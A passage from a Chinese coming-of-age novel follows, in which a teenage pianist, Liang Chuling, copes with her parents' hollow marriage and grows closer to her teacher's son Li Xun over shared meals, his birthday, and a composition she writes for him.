妈女士看着他这副色厉内荏的样子,心里是怜悯的好笑。
只好又换回那种黏黏糊糊的调调:“我能有什么意思嘛!”
她站起身走到梁父身边,手臂缠上他胳膊,轻轻摇晃,“我的意思是,咱们女儿你还不了解?她心里除了钢琴还有别的吗?肯定是去李炽老师那儿了呗!李老师家你不是知道吗?咱们女儿啊,以后是要当大艺术家的,咱们得多理解多支持,对不对?”
她三言两语,就把梁初灵的去向编得合情合理,还顺手给梁父戴高帽。
梁父被她这么一哄一摇,刚才那点火气也没了。
哼了一声,脸色缓和下来,被顺毛了当然心情舒畅:“也是,李炽老师那儿是正经地方。”
妈女士又悄悄翻了个白眼,脸上笑容甜美:“就是嘛。所以啊,你就别瞎操心了,快去洗个热水澡放松放松,今天累了吧?”
哄男人,有时候跟哄一条狗差不多。
妈女士熟练掌握着这门技巧。
等到梁父的身影消失在浴室,妈女士走到落地窗前,看着窗外飘洒的细雪,沉默地站了一会儿。
想象着女儿可能在酒店里,可能在某个同学家里,也可能在琴房在游戏厅甚至在网吧在酒吧。
无法干涉,或者说其实妈女士也并不想干涉。
要发泄或是要享受,都可以。
她并不掌握如何经营母女关系。
刚刚结束与丈夫的虚伪周旋,她需要确认自己还是个母亲。
发下那句话,好像首先是为了说服自己。
无论我的婚姻多么不堪,我个人生活如何,我作为母亲的爱是没有改变的。
她心知肚明,梁初灵刚才目睹了不堪的两幕:父亲的出轨物证,以及母亲手机里来自情人的信息。
妈女士无法解释也无法改变这个事实。
只能选择用一句最正确的话来弥补裂缝。
在此之前,她和梁初灵达成了脆弱的共识:不管大人如何,你要向前飞。
在此之后,她要重申这个联盟。
你看,妈妈这里永远是你可以依靠的港湾,所以不要因为刚才那些破事影响你自己。
潜台词是:事情就是这样了,我们不要再深究了,你只要记住妈妈爱你就可以了。
所以她也不深究梁初灵今晚究竟去了哪里。
于是妈女士无论如何也想不到,那句对女儿的真安抚,此刻正显示在对梁父的假安抚中。
信息的抵达,与现实的场景,是一场讽刺的错位。
错位之中,梁初灵的手指僵住。
李寻的照片带来的气恼消失,取而代之的是一种茫然和陌生。
闹剧被重新拽回她眼前。
妈妈永远爱你这句本应最真实的话,却从一个刚刚也参与了这场虚伪游戏的人口中说出。
它听起来不再像是一种保证,反而像是对爱这个字眼的讽刺。
梁初灵分不清这句话里,有多少是真心,有多少是表演。
这句话带着重量。似乎在说:我都这样爱你了,你就不要再追究不要再难过,应该懂事地翻篇了。
她无法理直气壮地继续愤怒悲伤,因为妈妈已经祭出了永远爱你这面旗。
她对那个家感到陌生,对父母扮演的角色感到陌生,在此刻,在李寻身边,也产生了一种漂浮不定的陌生感。
你无处可逃,你仍然是那个家庭的女儿,你仍然要面对这一切。
梁初灵的世界非黑即白。她追求极致。
十六年来她与家庭作伴,家庭满足她的要求、需求、欲求,她也愿意为家庭争光。
结果家庭其实不复存在,是个伪命题。
父亲的爱是假的,母亲的爱是与谎言共存的。
也就后知后觉想明白,对啊,家庭里甚至不得见家人,往往只有梁初灵自己。没有家人,那何来家庭?
那么,爱到底是什么?
她捏着手机一时不知该如何是好。
慌乱源于她的清醒。
她不再是那个可以被一句甜言蜜语糊弄过去的小孩。
她意识到自己的很多权利都即将被“爱”所剥夺。
世界好像被这场大雪分割成了无数个碎片,她站在碎片中央,不知道哪一片才是真实的,也不知道自己到底该属于哪里。
——
李寻则吓一跳,以为梁初灵真被自己惹生气。
生了这么大的气,鲜活怒气都消失,气得只剩怔忪?
他有点懊恼,觉得自己手欠。
去厨房切切拌拌,李寻端了一大碗水果捞出来,准备赔罪。
李寻语气带着试探的小心:“我错了,别生气了。吃点水果捞?”
梁初灵被他的声音拉回现实,有点没反应过来他在说什么,只能聚焦于眼
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下,可眼下看着水果捞也没什么胃口,但也不想拂了他的好意。
拿起勺子在那堆水果里扒拉了几下,专挑哈密瓜吃。
李寻看着她这挑食的样,没说什么。肯吃东西他就松了口气。
转身走到暖气片旁,摸了摸那双烘着的毛线袜。干爽而温暖。
拿着袜子走回来,在梁初灵对面坐下。
没等她反应,已经伸手将原本那双袜子脱下来。
也就看到梁初灵右脚大拇指都肿了,唉——
李寻心里叹气。这不省心的。
没有破皮没有流血,所以也不用上药,只苦熬这闷痛。
需要的似乎只有时间,时间往前走,然后将受伤的地方往回拨,恢复成曾经。
如果有伤口,其实反而能好得快一些。
痛,迅速而刺激;新生也来得快活。
就像水泡要挑破、溃疡要按压。
李寻拿那双暖和的厚袜子换下梁初灵脚上那双薄袜子。
过程并不暧昧。如闷痛。
他不知道梁初灵今晚发生了什么事,想来发生的事是因,受伤的脚是果。
李寻上哪儿知道因去……
可不妨碍他感同身受这个果。
有点替梁初灵感到不知如何是好,就着这不知如何是好而更加不知如何是好。
生命就是时时刻刻不知如何是好。
换好袜子,他松开手,此刻两个人都坐着,身高差被缩小。
李寻正好能看见梁初灵的毛绒马甲前襟上粘住了好几块碎糖,应该是刚才吃冰糖葫芦掉的。
梁初灵顺着他的目光也看,哎呀一声,手忙脚乱地想去拍掉。
“别动。”李寻阻止她,“越拍越往里嵌。”
他朝她伸出手:“马甲脱下来,我去处理一下,不然糖化了黏糊糊的更难弄。”
梁初灵乖乖脱下马甲递给他。
李寻拿着马甲走进浴室,把那点糖渣捻掉,又看见怎么还有油渍……
唉——
他又叹气。这不省心的。
挤了一点洗洁精,就着冷水对着油渍搓了几下,再把马甲扔进洗衣机按了快洗。
做完这一切,他洗了手走出来。
酸奶碗里的哈密瓜和草莓被梁初灵挑得干净,只剩下些苹果和火龙果。
李寻走过去,看了一眼碗底,点点头:“真棒。知道挑有营养的吃。”
然后把碗拿走,进了厨房,传来哗哗的水声。
梁初灵被他这没头没脑的夸奖弄得一愣,眨眨眼,心里嘀咕这有什么好棒的?
甚至怀疑他是不是在讽刺她挑食。
梁初灵打开电视找节目看。
她很少看电视,家里的电视基本就是个装饰品。
此刻也只是因为不知道该干什么。
李寻弄完出来,在她旁边的沙发上坐下:“真厉害,还知道自己找电视看。”
梁初灵转过头:“你没事吧?”
李寻无辜:“怎么了?夸你也不行?”
梁初灵被他这副样子搞得没脾气,扭回头,继续按遥控器。
翻了一圈没什么想看的,最后停在了一个正在放旧港产的频道。
电影里,穿着旗袍的女人幽幽飘过走廊,背景音乐阴森。
梁初灵其实有点怕,但强装镇定,还把音量调大了一点。
李寻在回李炽的消息,他跟李炽说了一声今晚梁初灵来家里住一晚。
李炽也懒得问“因”,只说果:“都别熬夜啊,不然我抽你们。你自己点个蛋糕跟她一块儿吃。”
回完,看了看屏幕,又看了看正襟危坐的梁初灵,又夸了一句:“胆子真大。”
梁初灵梗着脖子:“本来就不怕!”
“嗯不怕。”李寻从善如流地点头,“敢在雪夜看鬼片,勇气可嘉。”
梁初灵被他这话说得心里毛毛的,抓起旁边的抱枕搂怀里。
电影进入一个平缓的段落。
梁初灵感觉有点口渴,伸手去拿茶几上的水,结果手心有点汗,没拿稳,瓶子掉在地毯上,滚到李寻脚边。
李寻捡起拧开瓶盖再递给她:“真厉害呀小天才,一挑就挑了瓶最好喝的。”
梁初灵没好气:“李寻,你够了啊!”
“怎么了?夸你还不高兴?”
“你这是夸吗?你这是阴阳怪气。”梁初灵恶狠狠。
“冤枉。作为天才就能冤枉我等平民吗?真是的。”李寻靠在一侧扶手上,有点懒洋洋的。
确实有点累,今天白天忙了一天,晚上又来了这么密度高的一出,他又实在不是什么高经理人群。
此刻困得不行,但想也不可能丢下梁初灵自己去睡觉——
想到这儿,清醒了,不困了。
小天才真是包治百病的神医啊。
梁初灵被他这一本正经气得想笑,抓起抱枕就朝他扔。
李寻轻松接住抱枕,抱在怀里:“看,还会精准投掷。运动神经也不错。”
“李寻!”她忍不住喊他名字。
“在呢。”他应得太自然。
李寻看着她气急败坏又有点不好意思的样子,觉得有趣。
发现自己好像找到了能让她从那种低落里脱离出来的方法。
怎么会,自己怎么会如此了解她,李寻自己都乍舌。
梁初灵彻底没脾气,瘫回沙发里,自暴自弃:“行,你夸,你继续夸吧。!”
给李寻乐得不行。
梁初灵觉得坐着不舒服,换了个姿势,把脚缩到沙发上。
李寻:“盘腿盘得很标准。真棒。”
梁初灵无聊地用手指卷头发。
李寻:“手指很灵活,适合弹琴。真棒。”
梁初灵打了个哈欠。
李寻:“这一嘴牙嘿,真整齐。真棒。”
梁初灵终于忍不住,抓起另一个抱枕捂住自己的脸:“李寻,你再夸一句我就要走了。”
抱枕遮住她的眼,她却能看到另一幅画面——
一开始梁初灵想着是不是自己没生病就没法呆下去,结果李寻从头到尾一句话没多问,只是去换了自己房间的四件套。
梁初灵不想骗人:“李寻,我没生病,但我真不是故意骗你的。我以为我生病了。”她有点尴尬。
李寻那会正在换被套,抖了抖蓬松的被子,侧过头看了她一眼,表情难得的破功,是无语。
确实无语,没生病不是更好吗?怎么还找病生?
但也能琢磨出来她心里在想什么。
“生病了可以找我,没生病可以随时找我。”李寻加重了“随时”两个字的音。
钢琴谱中,重音符号是一个倒过来的四分音符再顶着一个大于号。
代表强调。
李寻此刻感觉这个大于号横亘在梁初灵和他之间。
梁初灵>李寻。
至少李寻心里是这样想的。
“但是我有点不好意思……我没生病,你却又因为我要去书房睡。”梁初灵面对李寻真是懒得内耗,会因此而感到不好意思,也要明晃晃亮出来,让李寻为她排忧解难消化掉。
“忘了告诉你,我今天生日来着。你要是今晚走了我肯定放不下心,你也不想我在生日的当天不高兴吧?”李寻还是慢悠悠的,又把枕套给套好,再好整以暇看着她。
今天是12月31号,是李寻的生日,这不是骗人。
“啊!你怎么不早说!我什么都没准备!”梁初灵急得开始原地踏步。
“没事的,我不过生日的。真的,你看我妈不是也没回来吗。你要是实在过意不去,今晚就早点睡。”
——
梁初灵依旧把自己闷在抱枕里,李寻看着她耳根都红了,知道不能再逗,见好就收。
他忍着笑,重新拿起手机准备看看谱:“好,不夸了。”
客厅里安静下来,只剩下电视的背景音,和窗外的落雪声。
温暖的灯光笼罩两人,一个假装看谱,一个把脸埋在抱枕里装死。
9. 《降A大调波兰舞曲“英雄”》
那晚她们最终还是熬了夜。
没再继续看恐怖片,时间在有一搭没一搭的闲聊和听一些奇奇怪怪的钢琴曲里溜走。
梁初灵一直拿着手机,屏幕的光映着她的脸,在十一点五十九分五十秒的时候,她突然开口:“李寻,生日快乐。我是最后一个跟你说生日快乐的人。”语气带着点小得意,“我也肯定会给你补上生日礼物的,不管你过不过生日。我跟别人不一样!”
李寻正靠在沙发另一边,闻言转过头来看她。
阳台关了门但是没拉窗帘,一定是过了十二点,有人放起了烟花,遥远的爆炸的没有规律的光晕,给他侧脸一层层一遍遍镀光边。
梁初灵一直在看,她十六岁才认识十六岁的李寻,却错觉此刻在那张脸上,看到了曾经的李寻。
模糊却有情,璀璨却熄灭的迅速。
李寻笑了笑,是那种眼尾也跟着下撇的笑:“元旦快乐。我是第一个祝你元旦快乐的人。”
又传来零星的烟花炸响,这一回更远,隔着高楼和距离并不真切。
砰砰乓乓,热闹得像一场遥远的战争。
不管是远还是近,都没人提议去看看,她们两个都坐着没动。
过了一会儿,烟花声歇,李寻像是才处理完梁初灵话语的后半段,又轻轻补充:“当然。你跟别人不一样。”
这句话落下,梁初灵感觉自己的心也像烟花般鼓噪。
——
第二天是元旦假期,按理说是放假。
但李炽回来了,一个电话打过来,通知加课。
两人一起出现在琴房时,李炽扫了她们一眼,没说什么,先一人后背上抽了一巴掌,然后进入教学状态。
李寻先弹。
技术上他依旧比不上梁初灵的精准和辉煌,每个音符都带着斟酌感。
但当他沉浸进去时,对音乐线条的把握,对情绪的铺陈,就像他那些手稿里的旋律一样,自然而然地流淌。
他弹得不是正确乐曲,而是李寻理解中的乐曲,带着他特有的温柔。
梁初灵坐在旁边听,心里很喜欢。
她觉得李寻手指下的音符,像那天晚上在亭子里她呵出的一团团白气,形状不固定,是一轮轮无依无靠的风景。吹过,还能再来。
人跟人也是通过这样交换风景而熟悉,梁初灵觉得自己在一点点更熟悉李寻,迈过,还能再遇。
轮到梁初灵。
她弹的是《降A大调波兰舞曲“英雄”》
这首曲子素以气势磅礴、辉煌壮丽著称,是肖邦笔下对民族英雄的礼赞,充满了不屈的斗志和贵族式的华彩。
然而今天从她指尖流淌出的《英雄》却不同。
标准的英雄登场,力量感依旧在,砸得坚定沉稳,华丽的经过句清晰如珠玉。
但在这片庄严与辉煌之下,李炽和李寻都清晰地听到了一种无端的孤单。
那英雄不是意气风发,主动选择踏上征途的,而是在命运的洪流里,被无形的手推到了那个位置。她没有退路,背后是悬崖,身前是千军万马。所以她的步伐坚定,每一步都踩着自己的影子和某些被舍弃的东西。
于是那英雄的伟岸形象背后,不再是一往无前的豪情,而是一种被命运推着所以别无选择的承担。
她的旋律里带着哀切,不是软弱,而是清醒认识到前路艰险后的那一点悲伤。
奇妙的是,这孤单和哀切,非但没有削弱曲子的力量,反而让它更加震撼。
因为她表达的英雄,哀切却没有退。
因为知道代价,所以前进的姿态才更显决绝。
即使孤独,即使背负着沉重的宿命,那前进的脚步没有犹豫,华丽的战袍下是咬紧的牙关和绝不回头的决绝。
这不是属于肖邦那个时代的集体的英雄主义,这是属于梁初灵的,一个人的、被动的英雄之路。
她选择了这条艰难的路,或许并非初衷,但她站上去了,就没有想过下来。
一曲终了,李炽看着梁初灵,不吝啬赞许。“非常好!”
李寻没有说话,只是看着梁初灵,眼神很清,可以飘起,如那一团团白汽,他也在与梁初灵交换风景。他如今也换到了。
下课后,李炽把李寻叫到一边。
“最近状态不错。练琴比以前投入很多。是真的打算走这条路了?”
李寻点点头,嗯了一声。
李炽太敏锐了,搞艺术的人不可能不敏锐。她看着儿子,直接问:“是为了梁初灵吗?”
李寻再次点头。坦诚得让人意外。
李炽脸上露出笑容,了然:“真不容易。”
不知道是指他肯努力了,还是指他肯承认了。
伸手捏了捏李寻的脸颊,“那你要好好加油。梁初灵以后会很厉害的,你别被甩太远。”
李寻再次点头,任由母亲捏着他的脸,眼神明亮。
是一种母子之间无需多言的熟稔,他知道妈妈懂,妈妈也知道他懂。
那晚的收留与被收留,梁初灵原本以为,会是自己对李寻单方面的依赖加深。毕竟她见识了自己家的不堪,也在他面前露出了少有的狼狈。
但事情的发展有点出乎她的意料。
原本是梁初灵像只找不到巢穴的小鸟,总是往李寻这片平静的树林里飞。现在,李寻似乎主动调整了他的坐标。
李寻和梁初灵得学校隔得很近,两个学校之间有一条小吃街,偶尔中午大家不在食堂吃饭的时候就会去街上吃。
中午,李寻和几个同学一起溜达到这儿,街上学生笑闹声不绝于耳。
李寻正听着旁边男生争论是吃涮羊肉还是川菜,目光却看到旁边一家卖煲仔饭的店、准确来说是看见了店里的梁初灵。
她和一个女同学坐在靠窗的位置,正眉飞色舞地讲着什么,面前摆着吃了一半的煲仔饭。
阳光很好,她的头发丝都在发光。
李寻对同伴说了句“要不吃煲仔饭吧”,同伴没意见,一起走向了那家店。
他没有进去打扰,坐在了对角线的位置。
梁初灵讲得投入,舀起一勺看也没看就送进嘴里,下一秒脸色就变。
李寻看得分明,她吃到了一块青椒。
梁初灵左右张望,这家店的环境一般,她没找到卫生纸,也没找到垃圾桶,邻桌也没有。
就这么犹豫挣扎间,李寻看着她硬生生把青椒咽了下去。
她的同学正好在系自己身后的蝴蝶结,也就没注意到这个插曲。
但李寻清清楚楚地看到了她所有的表情和挣扎。
不知道为什么,他突然心疼。
一种贴近胸腔左侧的酸涩。
明明只是讨厌吃青椒这样一件小事,可她刚才那一瞬间的窘迫,和最终的无奈,让他觉得很不是滋味。
吃完后李寻走向旁边一家饮品店。
梁初灵和同学说说笑笑,往学校方向走去。
刚走到校门口,她的手机响了。
是李寻。
“喂?”梁初灵接起电话。
“你在哪儿?”
“在校门口啊,怎么了?”
“正好我在小吃街吃饭,正好奶茶买一送一,我喝不完。正好路过你们学校,你在校门口的话,也正好给你。”
这么多正好。
“啊?这么好!你在哪儿呢?我没看见你啊。”
“转身。”
梁初灵握着手机转过身,果然看到李寻走了过来,手里提着三杯饮料。
他走到她面前,将其中一杯热抹茶递给她,然后又把另一杯包装不一样的奶茶递向梁初灵的同学。
“顺便多买了一杯,不介意的话。”李寻对那位有些惊讶的同学说道。
同学连忙接过:“谢谢谢谢!太客气了!”
梁初灵看看自己手里的抹茶:“谢啦!”晃了晃手里的杯子,笑容灿烂。
“下午还要练琴吗?”李寻问。
“要啊,我现在状态满满!”
“那就好。”李寻点点头,“我先回学校了。”
“拜拜!”
看着李寻走远,同学忍不住用手肘碰碰她:“可以啊梁初灵,这哪位啊?”
梁初灵咬着吸管:“就是一个朋友嘛!”
自那杯买一送一之后,李寻出现在梁初灵学校附近的频率,就变成了经常。
第一次李寻发信息问“吃饭了吗”时,梁初灵还以为他只是随口一问,结果他下一句就是:“我在你学校门口。”
梁初灵跑出去时,就看到他站在冬日的阳光里。
“你怎么来了?”她问
“找不到人和我一起吃饭,我太可怜了,小天才帮帮我吧。”
梁初灵的确无法拒绝……
后来索性两个人就一起吃午饭。
有时候在外面吃,有时候在食堂里吃。
李寻的学校是国际学校,食堂比附中的好吃了不止一点,梁初灵太好奇也太馋,有时会过去蹭饭。
大多时候是梁初灵在叽叽喳喳,李寻话不多。梁初灵分享练琴的进展,李寻就安静听,偶尔在她讲得眉飞色舞时,指一指她的饭示意她吃两口再继续讲。<
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跟李寻吃饭有很多好处。
比如李寻会把她不爱吃的青椒夹走;会在她滔滔不绝吐槽李炽变态的指法要求时,递过来一张纸巾让她擦擦溅出来的汤;会提前帮她把瓶盖拧开。
梁初灵喜欢吃辣,但吃多了又容易呛到。
每次点麻辣香锅,李寻就开始挑里面的花椒,等她酣畅淋漓吃完,才发现自己碗里几乎没遇到地雷。
有一次,梁初灵盯着酸辣粉想吃,又摸着额头新冒出来的痘痘犹豫不决。
李寻回来时,手里端着一碗馄饨,和只有两三口分量的酸辣粉。
“尝尝味道就行。”他把小碗推过去。
梁初灵从一开始的不习惯,到发现自己开始期待中午。
——
家里,妈女士这次回国,在家里待的时间出乎意料的长。
回来了一个多月,除了逛街,以及和她那些太阳、月亮图标的朋友们约会,竟然没再安排长途旅行。
家里大部分时间,依旧是梁初灵和张姨,但多了妈女士时不时咋咋呼呼的存在,以及她那些塞满客厅的购物袋,也是冲淡了不少以往的清冷。
梁父没什么心理压力,那晚之后没再回来过。梁初灵和妈女士乐得清静。
——
上一次上课,梁初灵弹完一首练习曲,李炽点了点头:“最近状态不错,感情来得很充沛很戏剧啊。出什么事了?”
梁初灵心里炸开了烟花!
但还是如实说:“没出什么事,我以前自己给自己弹的时候就挺充满感情、挺造作的,就是面对你会有点紧张!现在只是不再紧张。”
李炽笑得偏过头,也能理解,她也有过这样的时候。
下课出来,她迫不及待要跟李寻再说一遍:“你听到了吧,李炽老师说我状态不错!你听到没有呀?”
李寻也忍不住笑:“听到了听到了。两只耳朵都听到了。”
这是梁初灵发现的一个关于李寻的玄学现象。
来源是每天晚上吃完饭后,李寻会找梁初灵聊会儿天。
有时是打字,有时是语音,偶尔还会视频。
视频时,李寻那边通常是他的房间。
聊的内容也没什么特别,有时甚至不说话,就开着视频各干各的,梁初灵翻谱子,李寻写作业,只能听到彼此那边的声响。
神奇的是,每次聊完梁初灵再去琴房练琴,状态总会出奇地好。那些抓不住的情感层次,都能变得清晰。
她以前就跟李寻讲过,自己一个人的时候弹曲子比弹给别人听的时候要好很多,不知道怎么改善。
李寻也给不出什么好办法。
但是没关系,这不是,梁初灵自己就找到了解决办法。
好像跟李寻聊天的过程,无形中疏通了她和音乐之间的某种通道,也让她面对老师时能放得更开。
太神奇。
并不是无中生有,而是由一开始担忧自己不会表达的烦躁,到坚信自己能表达出来的高歌猛进。
需要的,是那样一点点玄学。
于是下课后,梁初灵跟在李寻身边,蹦跶着往外走,“太神奇了!李寻你是不是会什么魔法?怎么每次跟你聊完,我弹琴就跟开了光一样。”
李寻侧头看她:“可能我自带增益buff?”
“对,就是buff!”梁初灵点头,发现了什么了不起的真理,“以后你就是我的幸运物。”
“得,您说了算。”
那可不就得拿李寻当玄学使?
感觉手感不对的时候,她就给李寻发消息:“紧急!聊个五毛钱的。”
李寻那边通常都会很快回复。有时是“加油”,有时是分享一首他正在听的曲子,有时只是一个表情包。
真的屡试不爽。
一次表演之前,她有点忐忑,小鱼际很酸,小拇指也有点用不上力。二话没说给李寻发消息:“玄学玄学!速来!”
李寻直接拨了视频过来。屏幕那头的他好像刚运动完,穿着运动服,背景是操场。
“干嘛?”梁初灵看着他那样子,愣了一下。
“不是要玄学吗?”李寻气息还有点不稳,他对着镜头,做了个深呼吸的动作,“跟着做。吸气——呼气——”
梁初灵跟着他的节奏做了几个来回,感觉自己砰砰乱跳的心脏确实平复了不少。
“好了,”李寻在屏幕那头说,“去吧。弹错也没关系。”
就这么简单一句话,梁初灵那天发挥得很稳定。
因为她愤怒大喊:“我怎么可能会弹不好?!你搞笑呢吧!”
10. 《幻想波兰舞曲》
年过得十几天如一日。
大年三十晚上,妈女士回了自己房间和太阳月亮们打电话,梁父吃完年夜饭后有事就出了门。
烟花在窗外炸开的时候,梁初灵正和李寻挂着语音。
李炽带着李寻去了国外过年。
梁初灵给李炽老师发完新年快乐后,李寻的微信电话就打了过来。
“你在干嘛?”梁初灵百无聊赖地问。
“看书。”李寻的声音穿过大洋彼岸。
“什么书?”
“科普书。”
“哦。”梁初灵对科普兴趣不大,“张姨回家过年了,这几天我跟我妈外卖都快吃吐了。”
“嗯。”李寻问,“你以前过年最喜欢吃什么?”
“我姥姥做的炸藕盒!可惜我姥姥后来去世了没人给我做了。张姨做的嘛总差那么点意思。好像很多东西都是以前的好。”
最后这句话应该是带着沉闷的,结果梁初灵说完后才反应过来自己说了一句多么有哲理的话,一时之间被自己的文采震惊!
立刻摸了根笔出来记录,她最近在培养自己的创作思路,一点灵感都不放过。
一边记录还要一边说:“我的妈呀,我现在也太有文化了!”
李寻点点头,又想起来她看不见,换成口头夸奖:“不愧是小天才,太厉害了。”夸完又哄着她多说一点,“还有什么东西是以前的比较好?”
他发现,询问梁初灵的过去,比询问她的现在更容易得到丰富的答案。
她的现在被钢琴、比赛、课程填得太满。
而童年和过往,则散落在时间的角落,色彩更鲜明,也更容易被拾起。他近乎贪婪地想要了解,想知道是怎样的瞬间塑造了现在的她。
李寻看着她,旧话重提,但换了一种方式:“你第一次摸到琴键,是什么感觉?”
梁初灵没再用用“我妈前男友”的玩笑话搪塞。
“按下去,声音跑出来。觉得好神奇,是我在命令声音。”
“命令?”李寻重复这个词。
“对!你不觉得吗?八十八键各司其职。而弹琴的人就是将军。”
李寻遗憾现在是通话而不是视频,见过她炫技时的得意,也见过她瓶颈的焦躁,但此刻,却未能见到她的表情。
但他想,这就是源头了——
支撑着她日复一日枯燥练习的,不仅仅是天赋和好胜心,也是这种对掌控的渴望。
他觉得自己像个偷窥者,不满足于知晓她的现在,更想潜入那些他未曾参与的过往。
想知道她童年哭泣的缘由,想体验她曾有过的所有感受,想读懂她每一个举动下的隐喻,想弄明白她每一声叹息里的难过。
然后,失落便会蔓延——
为什么这些时刻,我没有陪在你身边?
梁初灵说得口干舌燥后就被李寻催着去喝水,然后两人都没再说话,却也都没挂。背景音里是电视和彼此的呼吸。
好像某种默契,她们共同把这个本该团圆的节日,过成了一段平行的的陪伴。
观察得越多,好奇心越重,想要靠近的欲望就越难以抑制。想要靠近、想要填补所有时间空白。
年后的北京寒意未消,但风中夹杂了属于春天的湿润。
这天是周三,两人照旧在李炽这里上课。
李炽嫌北京空气不好,在客厅桌子上放了台小风扇用来辅助换气。
梁初灵练琴练得痛快,出来后随手把橡皮筋扯下来,长发披散开,有些汗湿的发黏在脸颊边。她胡乱地用手拨弄,反而更乱。
李寻正在和她相向而行,伸出手,想帮她把发丝理顺。
碰到之前,两人都毫无所觉,李寻没停顿,梁初灵没拒绝。
碰到之后,两个人双双愣住,李寻没收手,梁初灵没偏头。
李寻的手向上,只轻轻拂开她肩头一绺与皮肤无关的发丝:“头发乱了。”
“哦。”梁初灵自己又把头发扎起来。
那一刻,李寻清晰意识到,他想触碰的不仅仅是头发。
他想弄明白,为什么她出汗的样子也这么生机勃勃,为什么她烦躁时的表情都显得可爱,为什么她让他移不开视线。
他想完完全全看到她,完整的生动的梁初灵。
李寻给她点好了果切,只有哈密瓜。
梁初灵一边记笔记一边吃,李寻忽然问:“为什么是哈密瓜?”
梁初灵被问得一愣,叉着瓜的手停在半空:“什么为什么?因为它甜啊。”
“苹果也甜。”
“苹果很无聊。”
“芒果无聊吗?”
“芒果像需要人扶着过马路的老奶奶。”梁初灵理直气壮。
李寻没再问,点了点头:“你喜欢口感明确的东西?”
就像她弹琴,喜欢技术目标清晰攻克后成就感强烈的曲子。
梁初灵听不懂,反过来问他:“你呢?你喜欢吃什么水果?”
李寻想了想,说:“橙子。”
“为什么?”
“剥开的过程很有意思。结构清晰,一瓣一瓣,需要点耐心,但回报是饱满的果肉和香气。”
“我还以为会是草莓。你总喜欢买草莓味的东西。”
“对,”李寻点点头,“我喜欢草莓味,但是我对草莓过敏。”
梁初灵目瞪口呆,觉得这好哲学,有点超过了自己的知识水平,得等自己研究研究再聊这个话题。
上完课,梁初灵却没像往常一样收拾东西,她磨磨蹭蹭,去自己书包里抠索了半天,终于掏出一个仔细包裹的东西。
她把东西塞到李寻手里,眼睛看着窗外光秃秃的树枝:“生日礼物。拖得是有点久哈,不好意思……主要是不太好弄。”
李寻低头看着手里的东西。
包裹得很用心,还用丝带系了个结。
解开丝带,里面是一份装帧起来的乐谱。
最上面,是手写的标题——《寻》
李寻的目光在那个字上不敢置信地看。
“我觉得这个字挺好。是代表你名字,也代表我找了挺久灵感!我觉得音乐有时候就像在找人,找那种,额……我不太会说话,你自己悟一下吧!”
她越说声音越小,觉得自己解释得一塌糊涂。梁初灵很紧张,她根本不擅长创作啊!可是不擅长创作的自己,还是绞尽脑汁开始披荆斩棘,想到这,她又不觉骄傲起来。
李寻抬起眼看向她。她眼神飘忽,骄傲是骄傲,还是不敢看他。
这是一首钢琴小品,篇幅不长,结构简单。
开头的旋律是迟疑的探寻,像清晨林间小心翼翼的脚步。和声温暖,铺在旋律下方,是一片柔软的土壤。
在这片温暖和宁静中,会嵌入一两个温柔的不和谐音。
它们没有破坏整体的和谐,但很有特点,不知道是会带来惊喜还是惊吓。
让他想起她曾经莫名其妙说过的那句:“李寻,你好像这洼水啊。”
李寻在中段听到了一个熟悉的动机。
是他那首不小心掉进钢琴底下的手稿里的一个简短旋律。
梁初灵把它捕捉到,并且用她自己的方式进行了变奏和发展,让它融入了这片属于她的温暖探寻的音乐风景。用她明亮的方式重新诠释,从他的水中,舀起一瓢,折射出她的颜色。
她也用音乐,完成了一场无人知晓的回应和对话。
这确实是一首关于寻的乐曲。她在用她的语言描绘她所“寻”到的他,平静,温暖,内里藏着波澜,而那波澜,在她看来,也是温柔的一部分。
李寻看了很久,久到梁初灵开始怀疑自己是不是写得实在太烂,他不好意思批评。
下午的阳光透过窗纱再照射到桌上,显得软绵绵的,在桌子上流淌了下来。阳光违背规则从地板往上流,溅满李寻一身,也在他的锁骨处盛了一抔,像梁初灵早上喝的橙汁。
李寻低着头,梁初灵莫名其妙把右手虚环成杯状,独自与李寻干了个杯。
风扇不对着人,开得也是最低速,声音一滑一滑,像水面上的船,无力而有序地拍打,永不会乘风破浪。
终于,李寻看向依旧处于高度戒备状态的梁初灵。
梁初灵看着李寻的眼睛,也漾在阳光里,显得有几分盲目。
她仔细看,才觉得李寻确实比自己要大五个月。
李寻问了一个完全不相干的问题:“你知道今天是2月14号吗?”
梁初灵愣住。
脸上的红以很快的速度蔓延,她惊恐的抓起手机,居然真的是2月14日。
“我不知道!我真不知道!”她几乎是跳了起来,“我就是觉得曲子终于改得差不多了,今天上课正好给你。我发誓!李寻你相信我!
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这纯属巧合!天大的巧合!跟情人节半毛钱关系都没有!我就是想送你个生日礼物!”
她语无伦次,指天发誓。
李寻看着她慌里慌张的样子,终于忍不住笑,一个放松的笑容。
“没关系,”他笑着说,“我知道的。”
我知道你不是故意的。我知道这是巧合。尽管我希望这不是巧合。
梁初灵看着他笑,心里的尴尬平复了一些:“你知道就好,吓死我了。”
李寻小心将乐谱重新包好,丝带也原样系上。
“谢谢,礼物我很喜欢。非常喜欢。”
梁初灵被他看得有点不自在,胡乱点点头:“喜欢就行!我小时候学琴,有一次老师给我看她写的曲子,我很喜欢!但我一直没说话,结果她吓得大气不敢喘!喜欢就要放在最前面说你知道吗!不然给别人带来的心里压力太大了!”
李寻听完点点头表示自己知道了,然后不经意地问:“那时候你几岁?在哪位老师那里?上的是什么课?”
梁初灵聊起这个那就不紧张了,上下左右说个没完。
李寻一点点引导着她讲述过去的碎片。那些开心的,难过的,尴尬的童年往事。
他想了解更多,十六岁之前、他认识她之前、他没经历过的梁初灵的往事。
引诱梁初灵讲述过去,并不困难。
她本身就有旺盛的分享欲,只是缺少听众。
一点一滴,他拼凑出她的童年图景,她的喜悦,她的委屈,她的倔强。
手机相册里也开始堆起截图和照片,每一张都跟梁初灵有关。是他试图弥补缺席的证明。
二月的风还带着凛冽,但李寻提前窥见了春天的暖意。
春天染绿枝头时总是试探,李寻此刻也在试探。
他伸手在自己脖子上解下一条银链子,底下坠着个东西。
把链子拿在手里,递到梁初灵面前。
是一个玉坠。柔和、浅,显得清醒明白——清醒明白,却并不清白。
被雕成了一个葫芦状,莹莹如水。
“这个给你。”李寻说。
梁初灵盯着那个玉葫芦,眼睛眨了眨又眨了眨。再傻也知道,肯定不便宜,而且一定有意义!
她双手乱摇:“不行不行!我不能要!太贵重了!”
李寻有点想笑,又耐心解释:“礼尚往来?”
“礼尚往来什么啊!我送你的是生日礼物!不行!绝对不行!”
